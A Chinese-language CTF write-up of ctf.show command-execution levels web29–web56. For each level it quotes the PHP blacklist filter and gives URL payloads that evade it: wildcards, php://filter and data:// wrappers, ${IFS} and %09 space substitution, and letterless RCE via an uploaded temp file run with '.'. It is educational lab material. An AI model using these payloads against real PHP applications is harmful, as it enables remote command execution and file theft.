可以先学习一下命令执行绕过小技巧
web29
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
preg_match()函数学习一下:
preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0
在这个正则里边有一个参数是i,这个在正则表达式里边是不区分大小写的一个参数
if(!preg_match("/flag/i", $c)){
只过滤flag【不区分大小写】
查看目录
?c=system('ls');
获取flag.php ,关键字flag过滤,使用通配符? ,进去后看源码才行,我刚开始还以为不对
http://a111e37a-dea4-4ef4-8e83-c190d2a32321.challenge.ctf.show/?c=system("cat fla?.php");
:cp命令将flag.php保存到1.txt 再去访问1.txt
http://26f678d1-972b-4c70-a138-a71bdb90d4b5.challenge.ctf.show/?c=system("cp fla?.php 1.txt");
http://26f678d1-972b-4c70-a138-a71bdb90d4b5.challenge.ctf.show/1.txt
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这次过滤了flag,system,php,
用` ` 来代替system()
http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/?c=`cp fla?.p?? 1.txt`;
http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/1.txt
web31
这题就过滤的更多了,包括cat 空格 都过滤了
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
我们可以用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,
得到空白页面右击看源码才能得到flag
ctf.show/?c=eval($_GET[1]);&1=system('cat flag.php');
将cat 换成 tac 就可以直接看到flag,tac 是 cat 的反向显示
ctf.show/?c=eval($_GET[1]);&1=system('tac flag.php');
也可以将空白用%09替代
ctf.show/?c=echo`tac%09fl*`;
web32
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
反引号,分号,括号 都不能用
没有括号的话不能使用上一题的eval(),所以要用没有括号的函数 比如include
分号可以用?>代替
还需要配合伪协议,通过特定的通道读取文件
/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
拿到的是bsae64的数据,再去解码即可
web33
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
多过滤了一个"
使用上一题的方法一样可以出来,那换一个函数用require,也是一样的
/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web34
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
多过滤了一个冒号,也不影响我们使用上面的方法
/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web35
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))
多过滤了< =,与上题题解一样
web36
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
不能使用数字,将1用a代替即可,GET[a],里面可以不用单引号
/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
通过data://text/plain协议来进行漏洞利用
/?c=data://text/plain,<?php system("tac fla?.php");?>
web38
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
多过滤了php,file
使用上一题的方式就行,需要把php换成= 即 <?= 内容 ?> 、
/?c=data://text/plains,<?= system(" tac f* ");?>
web39
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
加了个后缀.php ,但是依旧不影响用data协议
/?c=data://text/plains,<?= system(" cat f* ");?>
只是后面多了个.php
web40
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
过滤了很多字符,每几个能用的
看大佬文章学习
print_r(scandir(current(localeconv())));
成功打印出当前目录下文件:
也可以用print_r(scandir(getcwd()));
flag是倒数第二个我们可以用:show_source(next(array_reverse(scandir(getcwd()))));
利用array_reverse()
进行把数组翻转,再利用next()
函数取到flag.php
/?c=show_source(next(array_reverse(scandir(getcwd()))));
web41
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
数字字母都不能用了,比较麻烦,大概意思就是通过一些字符互相运算后构造得到我们的payload
这个博客,不会用第二个脚本
web42
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
>/dev/null 首先表示标准输出重定向到空设备文件,说白了就是不显示任何信息。
2> 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
我们要让命令回显,使用双写命令,让后面那条命令进黑洞,好像可以为空,可以进行命令分隔
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
/?c=tac flag.php;
web43
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
过滤了cat和分号,
?c=tac flag.php ||
web44
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
flag禁用,通配符安排
/?c=tac fl* ||
web45
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
多过滤了一个空格,空格用%09绕过就行
/?c=tac%09fl*||
web46
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
过滤了* 还有?
/?c=tac%09fla?.php||
web47
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
过滤了很多命令,但是tac还能用
/?c=tac%09fla?.php||
web48
与上题一样
web49
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
过滤了%,可以用<,且%09依然可以继续使用,因为%09是编码 不属于% 也不属于数字
/?c=tac%09fla?.php||
web50
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
这下%09不能使用了 用<代替 ''替代通配符
/?c=tac<fla''g.php||
web51
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
tac被禁了,用nl读取
/?c=nl<fla''g.php||
web52
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
<和>都没了,但是$放出来了,空格可以用${IFS}来绕过
/?c=nl${IFS}fl''ag.php||
得到一个假的flag,所以藏flag的地方不是flag.php ,惯性思维了
去查看根目录下文件
/?c=ls${IFS}/||
查看这个flag
/?c=nl${IFS}/fl''ag||
web53
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
system返回值,是返回命令输出的最后一行,错误就返回false
先是把命令进行显示,然后执行这个命令之后的最后一行输出给变量d,最后输出变量d的内容。
但是system自带回显,所以在执行system命令的时候就已经输出了flag.php的全部内容
/?c=nl${IFS}fl''ag.php
web54
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
.*加起来的作用就是匹配除换行符 \n 之外的任何单字符零次或多次。
1.paste 指令
/?c=paste${IFS}fla?.php
2.grep 指令(用于查找内容包含指定的范本样式的文件)
/?c=grep${IFS}'{'${IFS}fla?.php
意思是在fla?.php文件中 查找有{符号的一行并显示
3.mv保存文件 , cp保存文件,由于过滤的原因小心选取txt文件名 选择z可以
/?c=mv${IFS}fla?.php${IFS}z.txt
/?c=cp${IFS}fla?.php${IFS}z.txt
还有bin目录
/?c=/bin/base??${IFS}???????? 然后base64解码
/?c=/bin/ca?${IFS}???????? 然后查看源代码
web55
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
过滤了字母
1.
查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。
匹配到/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64,我们就可以通过通配符进行匹配命令执行查看flag.php
这个不是通用的,因为base64不是每个机器都有
即 /bin/base64 flag.php
/?c=/???/????64 ????.??? 然后解码
2.
我们可以利用/usr/bin下的bzip2,bzip2是linux下面的压缩文件的命令
也就是/usr/bin/bzip2 flag.php ,然后访问/flag.php.bz2进行下载获得flag.php
/?c=/???/???/????2 ????.???
3.
无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客
构造一个上传文件的脚本
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
随便选取一个文件并抓包,一定要在原来文件内容的位置上写我们的命令
web56
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
相较于上题,把数字也ban了,所以使用无数字字母rce 也就是第三种方式
格式是固定的/?c=.%20/???/????????[@-[]
点命令(.)
.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那就可以利用.来执行它
可控文件
这个可控文件怎么得到?我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。